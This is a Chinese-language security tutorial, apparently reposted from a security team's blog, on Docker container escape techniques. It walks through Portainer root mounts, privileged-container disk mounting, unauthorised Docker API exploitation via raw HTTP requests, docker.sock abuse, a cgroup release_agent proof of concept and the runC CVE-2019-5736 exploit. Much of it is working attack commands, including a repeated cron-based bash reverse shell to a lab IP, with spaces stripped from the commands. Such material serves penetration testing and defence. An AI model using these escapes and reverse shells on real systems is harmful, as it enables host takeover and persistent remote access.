什么是Docker
Docker是一個開源的引擎,可以輕松的為任何應用創建一個輕量級的、可移植的、自給自足的容器。開發者在筆記本上編譯測試通過的容器可以批量地在生產環境中部署,包括VMs(虛擬機)、bare metal、OpenStack 集群和其他的基礎應用平臺。
判斷當前是否為docker環境
首先在我們拿到一個主機權限之后,需要判斷該權限所處環境是不是docker,可以使用下面兩條命令
1.是否存在.dockerenv文件,若該文件存在則為docker環境,若不存在該文件則當前環境非docker環境ls-alh/.dockerenv
2.查詢系統進程的cgroup信息,docker環境中的cgroup文件普遍存在docker字段,而真實環境中不存在docker字段cat/proc/1/cgroup
Docker逃逸
Docker容器是使用沙盒機制,是單獨的系統,理論上是很安全的,通過利用某種手段,再結合執行EXP或POC,就可以返回一個宿主機的高權限shell,并拿到宿主機的root權限,可以直接操作宿主機文件,從容器中逃了出來,因此我們將其稱為Docker逃逸漏洞。
Portainer后臺掛載宿主機根目錄進行逃逸
Portainer是一個可視化的容器鏡像的圖形管理工具,利用Portainer可以輕松構建、管理和維護Docker環境,而且完全免費,基于容器化的安裝方式,方便高效部署。
需要注意的是后臺沒有默認賬號密碼,當第一次登錄系統時會提示設置新密碼,在實戰中可以嘗試爆破。
環境搭建
在安裝了docker的物理機中運行該命令dockerrun-d-p8000:8000-p9000:9000--name=portainer--restart=always-v/var/run/docker.sock:/var/run/docker.sock-vportainer_data:/dataportainer/portainer-ce
部署成功后訪問宿主機的9000端口,設置用戶名與密碼
漏洞利用
進入容器中,添加一個新容器
進入到portainer后臺界面
這里給該容器命名并選擇一個鏡像
下滑到Advanced container settings將console設置為interactive & tty
然后到Volumes中將根目錄掛載到容器中
然后點擊部署即可
部署成功后回到容器中,進入到該容器終端內
進入到終端后,輸入如下命令ls/tide/
chroot/tide/bash
如此成功逃逸到宿主機中,也可直接反彈shellecho'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root
privileged特權模式啟動容器
特權模式逃逸是一種最簡單有效的逃逸方法,該漏洞的原理是宿主機使用root用戶或使用sudo命令啟動的容器時,docker管理員可通過mount命令將外部宿主機磁盤設備掛載到容器內部,獲取對整個宿主機的文件讀寫權限,可直接通過chroot切換根目錄、寫ssh公鑰和crontab計劃等逃逸到宿主機。
特權模式與非特權模式的區別
?LinuxCapabilities
1.普通模式下容器內進程只可以使用有限的一些Linux Capabilities
2.特權模式下的容器內進程可以使用所有的Linux Capabilities
?Linux敏感目錄 1. 普通模式下,部分內核模塊路徑比如/proc下的一些目錄需要阻止寫入、有些又需要允許讀寫,這些文件目錄將會以tmpfs文件系統的方式掛載到容器中,以實現目錄mask的需求 2. 特權模式下,這些目錄將不再以tmpfs文件系統的方式掛載
?任何內核文件都是可讀寫 1. 普通模式下,部分內核文件系統(sysfs、procfs)會被只讀的方式掛載到容器中,以阻止容器內進程隨意修改系統內核 2. 特權模式下,內核文件系統將不再以只讀的方式被掛載
?APPArmor和Seccomp
1.普通模式下,可以通過配置APPArmor或Seccomp相關安全選項
2.特權模式下,這些AppArmor或Seccomp相關配置將不再生效
?cgroup讀寫
1.默認情況下,只能以只讀模式操作cgroup
2.特權模式下,將可以對cgroup進行讀寫操作
?/dev
1.普通模式下,容器內/dev目錄下看不到節點/dev目錄下特有的devices
2.特權模式下,容器內的/dev目錄會包含這些來自節點/dev目錄下的那些內容
?SELinux
1.特權模式下,SELinux相關的安全加固配置將被禁用
2.普通模式下也可以通過對應的安全選項來禁用SELinux特性
判斷方法
在容器中可以使用該命令檢測當前容器是否以特權模式啟動cat/proc/self/status|grepCap如果是特權模式啟動的話,CapEff對應的掩碼值在centos中為 0000001fffffffff ,在ubuntu中為0000003fffffffff,如下圖
環境搭建
在安裝有docker機器的主機上直接運行該命令,啟動該容器即可。dockerrun-it--privilegedubuntu:18.04
漏洞利用
首先我們為了區別宿主機與docker容器的區別,我們先在宿主機中新建一個文件,作為標識區別
在啟動后我們會進入到docker容器的bash中,在這里我們查看當前主機的docker是否為特權模式啟動。cat/proc/self/status|grepCap
我們可以將宿主機目錄掛載到該docker容器中,首先查看當前磁盤分區情況,獲得宿主機分區fdisk-l
這里我們根據分區大小得知到宿主機的磁盤為/dev/dm-0,這時可以直接掛載宿主機的磁盤mkdirtide
mount/dev/dm-0/tide/
chroot/tide/
這時我們會進入一個bash會話,在這里可以查看宿主機的/etc/passwd等敏感文件
這時去查看剛剛我們在宿主機根目錄中創建的flag.txt文件,看其是否存在,就能判斷出我們當前是否已經成功跳出docker容器
這里可以看到我們現在已經成功跳出了docker容器,獲得了宿主機的權限,可以使用計劃任務反彈shellecho'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root
Docker API 未授權訪問
該漏洞起因是因為使用Docker Swarm時,管理的docker 節點上便會開放一個TCP端口2375/2376,綁定在0.0.0.0上,如果沒有做限制訪問來源的話,攻擊者可以通過Doker未授權來控制服務器。
環境搭建
在vulhub中存在該漏洞復現環境,部署命令如下:cddocker/unauthorized-rce/
docker-composebuild
docker-composeup-d
docker-composeps
也可以在真實Docker中部署該環境,部署步驟如下:#下載環境
curl-o/etc/yum.repos.d/Centos-7.repohttp://mirrors.aliyun.com/repo/Centos-7.repo
curl-o/etc/yum.repos.d/docker-ce.repohttp://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
yumcleanall&&yummakecache
安裝指定版本dockeryuminstall-ydocker-ce-18.09.9
配置加速源vim/etc/docker/daemon.json
{"registry-mirrors":["https://8xpk5wnt.mirror.aliyuncs.com"]}
設置開機自啟:systemctlenabledocker
systemctldaemon-reload
啟動contianerd服務:containerd#啟動
systemctlstatuscontainerd#查看服務狀態
開啟2375端口,提供外部訪問:vim/usr/lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd-Htcp://0.0.0.0:2375-Hfd://--containerd=/run/containerd/containerd.sock
改完之后需要重啟:systemctldaemon-reload
systemctlrestartdocker
然后我這里還需要在防火墻中將2375端口放行,命令如下:systemctlstartfirewalld
firewall-cmd--zone=public--add-port="2375"/tcp--permanent
firewall-cmd--permanent--query-port="2375"/tcp
systemctlrestartfirewalld
接下來我們訪問該ip的2375端口即可,當我們訪問時會返回 404 page not found。這是 Docker RemoteAPI,可以執行docker命令。
這里如果我們繼續訪問http://192.168.198.129:2375/version,會返回docker的版本信息,這樣證明該漏洞存在。
比如訪問 http://192.168.198.129:2375/containers/json 會返回docker信息,和在docker CLI上執行 docker ps 的效果一樣,其他操作比如創建/刪除container,拉取image等操作也都可以通過API調用完成。
漏洞利用
利用方法1 命令執行
訪問 http://192.168.198.129:2375/containers/json 獲得剛剛返回的exec_id的參數,構造如下數據包:
POST/containers/7badb971f85814c718dcc4efdd34fead171ebdbb099bc5252f02785374e24b0f/execHTTP/1.1
Host:192.168.198.138:2375
Content-Type:application/json
Content-Length:168
{
"AttachStdin":true,
"AttachStdout":true,
"AttachStderr":true,
"Cmd":[
"cat","/etc/passwd"
],
"DetachKeys":"ctrl-p,ctrl-q",
"Privileged":true,
"Tty":true
}
注意其中cmd的字段,這就是我們要執行的命令,發送后會得到第二個id,這里需構造一個exec_start數據包,內容如下。
POST/exec/962fee39c29a2c9d5ea984b55673a7823aa06b6187eaf4be279f25af6cecad1f/startHTTP/1.1
Host:192.168.198.138:2375
Content-Type:application/json
Content-Length:36
{
"Detach":false,
"Tty":false
}
然后發送就會得到結果,至此成功獲得該docker主機的rce權限,但無法逃逸到宿主機中。
利用方法2 遠程連接,新建特權容器,逃逸到宿主機中
因為docker 有遠程連接命令,由于2375端口暴露,可未授權訪問,所以現在可以在我們的主機上通過遠程方式連接doker ,然后以特權模式啟動一個docker容器,從而達到逃逸到宿主機的情況docker-Htcp://192.168.198.138:2375ps
docker-Hdocker-Htcp://192.168.241.142:2375run-it--privilegedalpinebin/sh
進入容器后,使用fdisk -l命令查看磁盤文件fdisk-l
分區大小得知到宿主機的磁盤為/dev/dm-0,這里可以使用上面我們剛剛特權模式逃逸的命令將該磁盤掛載到目錄中mkdir/tide/
mount/dev/dm-0/tide/
chroot/tide/
成功逃逸到宿主機
掛載Docker.sock
Docker架構相當于C/S架構,docker.sock就是docker中套docker,docker的client和server的通信模式參考//www.jb51.net/article/99019.htm
利用docker.sock逃逸的前提條件
3.攻擊者獲得了docker容器的訪問權限
4.容器已安裝/var/run/docker.sock
環境搭建
創建Dockerdockerrun-it-v/var/run/docker.sock:/var/run/docker.sockubuntu:18.04
隨后在docker容器中安裝docker#ubuntu18.04安裝docker
apt-getupdate
#安裝依賴包
apt-getinstallapt-transport-httpsca-certificatescurlgnupg-agentsoftware-properties-common
#添加Docker的官方GPG密鑰
curl-fsSLhttps://download.docker.com/linux/ubuntu/gpg|apt-keyadd-
#驗證當前是否擁有帶有指紋的密鑰
apt-keyfingerprint0EBFCD88
#設置穩定版倉庫
add-apt-repository"deb[arch=amd64]https://download.docker.com/linux/ubuntu$(lsb_release-cs)stable"
#更新
apt-getupdate
#安裝最新的Docker-ce
apt-getinstalldocker-ce
#啟動
systemctlenabledocker
systemctlstartdocker
這時安裝完成后我們就可以使用docker ps來看到宿主機上的容器了。
漏洞利用
將宿主機的根目錄掛載到容器中dockerrun-it-v/:/tideubuntu:18.04/bin/bash
chroottide
這時可以看到返回出一個bash會話,這里我們就可以看到我們之前在宿主機中創建的flag.txt了
這里也可以使用計劃任務反彈shellecho'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root
掛載宿主機根目錄
如果在docker啟動的時候掛載了宿主機的根目錄,就可以通過chroot獲取宿主機的權限dockerrun-it-v/:/tide/ubuntu:18.04
chroot/tide/
相同也可以通過計劃任務反彈shellecho'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root
Cgroup執行宿主機系統命令
docker使用cgroup進行資源限制,當cgroup中最后一個任務結束且notify_on_release開啟,release_agent可執行事先提供的命令,因此可以利用這個特性來實現容器的逃逸。
漏洞利用條件
```shell
1.以root用戶身份在容器內運行 2.使用SYS_ADMINLinux功能運行 3.缺少APPArmor配置文件,否則將允許mountsyscall 4.cgroup V1虛擬文件系統必須以讀寫方式安裝在容器內
####環境搭建 ```shell dockerrun--rm-it--cap-add=SYS_ADMIN--security-optapparmor=unconfinedubuntu:18.04
漏洞利用
#掛載宿主機cgroup,自定義一個cgroup,/tmp/cgrp/x mkdir/tmp/cgrp&&mount-tcgroup-omemorycgroup/tmp/cgrp&&mkdir/tmp/cgrp/x #設置/tmp/cgrp/x的cgroup的notify_no_release和release_agent #設置/tmp/cgrp/x的notify_no_release屬性設置為1,通過sed匹配出/etc/mtab中perdir=的路徑,然后將路徑+cmd寫入/tmp/cgrp/release_agent echo1>/tmp/cgrp/x/notify_on_release host_path=`sed-n's/.*perdir=([^,]*).*/1/p'/etc/mtab` echo"$host_path/cmd">/tmp/cgrp/release_agent #寫入自定義命令 echo'#!/bin/sh'>/cmd #結果在當前目錄的output文件中 echo"cat/flag.txt>$host_path/output">>/cmd chmoda+x/cmd #執行完sh-c之后,sh進程自動退出,cgroup/tmp/cgrp/x里不再包含任何任務,/tmp/cgrp/release_agent文件里的shell將被操作系統內核執行,達到了容器逃逸的效果 sh-c"echo$$>/tmp/cgrp/x/cgroup.procs"
如上圖所示,成功獲取到宿主機根目錄的flag.txt的內容,同理,我們將上面poc中的echo中的命令修改為反彈shell的命令,即可進行反彈shell,獲得宿主機的權限。
echo"echo'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root">>/cmd chmoda+x/cmd sh-c"echo$$>/tmp/cgrp/x/cgroup.procs"
runC逃逸-CVE-2019-5736
cve-2019-5736屬于docker環境逃逸類型漏洞,該漏洞利用runC文件被覆蓋,當管理員通過exec進入容器的時候,觸發payload,從而達到逃逸 。個人理解這種方式利用的條件其實比較苛刻,主要苛刻在宿主機中必須有管理員使用exec進入當前docker環境,如果宿主機沒有在運行EXP后進入該容器的話,是無法進行逃逸的。
影響版本
dockerversion<=18.09.2?RunC?version?<=1.0-rc6
環境搭建
在部署該環境時,需要先將之前系統上所安裝的docker卸載掉安裝18.06版本的docker,我這里直接恢復了還沒安裝docker時的快照,故直接安裝即可。
curlhttps://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw-oinstall.sh&&bashinstall.sh
另外可以使用 Metarget去直接部署環境,操作命令如下:
安裝Metarget
gitclonehttps://github.com/brant-ruan/metarget.git cdmetarget/ pip3install-rrequirements.txt
部署cve-2019-5736
./metargetcnvinstallcve-2019-5736
如上,已成功搭建好符合版本的docker環境,接下來我們啟動一個docker容器即可
dockerrun-itubuntu:18.04
漏洞利用
下載EXP
gitclonehttps://github.com/Frichetten/CVE-2019-5736-PoC
修改payload為反彈shell
修改完之后進行編譯,
CGO_ENABLED=0GOOS=linuxGOARCH=amd64gobuildmain.go
編譯后會生成一個main的可執行文件,這里我們需要將其放到docker容器中,在kali中啟動一個http服務,在容器中使用wget的命令去下載該文件
python3-mhttp.server8080
在docker容器中下載該exp,并賦予執行權限,執行
wgethttp://192.168.198.128:8080/main chmodu+xmain ./main
然后這里我們假裝為宿主機管理員,現在進入到該容器中
dockerps dockerexec-it3056c91f69ea
這時再來看我們的docker容器里執行的exp已然被執行
但是奇怪的是并沒有反彈過來shell,其他命令也無法被執行,修改了n次paylaod也無果,希望有成功的大佬能告知小弟步驟哪里錯了。
至此,Docker逃逸章節完結
審核編輯:劉清
-
PoC
+關注
關注
1文章
70瀏覽量
20554 -
虛擬機
+關注
關注
1文章
919瀏覽量
28334 -
Exp
+關注
關注
0文章
7瀏覽量
8322 -
Docker
+關注
關注
0文章
489瀏覽量
11907
原文標題:Docker逃逸那些事兒
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論